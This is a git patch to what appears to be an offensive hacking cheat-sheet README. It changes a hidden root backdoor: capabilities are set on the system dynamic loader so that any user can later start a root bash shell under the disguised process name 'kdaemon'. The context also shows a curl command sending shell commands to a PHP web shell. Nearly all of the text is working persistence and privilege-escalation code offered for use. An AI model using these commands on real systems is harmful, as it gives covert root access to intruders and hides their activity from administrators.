From ba0d0c37e93932d2a769726a2b813ba29ca3186f Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Mon, 12 Aug 2024 11:42:03 +0100 Subject: [PATCH] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 295a5c2..acf1175 100644 --- a/README.md +++ b/README.md @@ -1631,14 +1631,14 @@ curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id" ```bash ### Execute as ROOT user fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2" -setcap cap_setuid+ep "${fn}" +setcap cap_setuid,cap_setgid+ep "${fn}" ``` ```bash ### Execute as non-root user to get root fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" -"${fn:?}" "$p" -c 'import os;os.setuid(0);os.execlp("bash", "kdaemon")' +"${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")' ``` #### 2. Good old b00m shell